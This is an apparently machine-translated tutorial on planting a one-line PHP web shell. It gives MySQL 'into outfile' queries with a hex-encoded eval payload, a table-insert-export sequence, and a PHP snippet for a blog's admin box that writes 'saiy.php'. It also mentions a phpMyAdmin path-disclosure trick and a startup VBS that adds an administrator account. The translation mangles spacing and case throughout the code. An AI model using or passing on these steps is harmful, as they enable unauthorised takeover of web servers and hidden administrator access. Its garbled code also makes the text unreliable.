Input select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql. user into outfile 'path' in the mysql operation using php + mysql to obtain a <? Eval ($ _ POST [a]);?> The smallest Trojan '0x3c3f6576616c28245f504f53545b615d293b3f3e is ours <? Eval ($ _ POST [a]);?> This method is more common for phpmyadmin. first, The phpmyadmin path leakage vulnerability is exploited. a typical example is http: // url/phpmyadmin/libraries/select_lang.lib.php.
You can obtain the absolute path in the php environment :). It is mentioned that mysql should write d: \ wwwroot \ a. php in the win System path. The following method is a commonly used method for exporting webshells. you can also write a vbs script to add the system administrator and export it to the Startup folder. after the system restarts, an administrator account will be added.
Create table a (cmd text not null)
Insert into a (cmd) VALUES ('<? Fputs (fopen ("./a. php", "w"), "<? Eval (\$ _ POST [a]);?> ")?> ')
Select cmd from a into outfile 'path/B. php'
Drop table if exists
When you access B. php, a <? Eval ($ _ POST [a]);?> The smallest horse.
If you can execute php command is much simpler, the typical representative is the BO-BLOG, in the background of the php command box enter the following code:
<?
$ Sa = fopen ("./up/saiy. php", "w ");
Fwrite ($ sa, "<? Eval (\$ _ POST [a]);? "."> ");
Fclose ($ sa );
?>
The file named saiy. php is generated in the up Directory. the content is <? Eval ($ _ POST [a]);?> The smallest php Trojan, and finally use the lanker client to connect. In actual use, whether the folder has write permission should be considered. Or enter such code <? Fputs (fopen ("./a. php", "w"), "<? Eval (\$ _ POST [a]);?> ")?> A. php minimal Trojan will be generated in the current directory.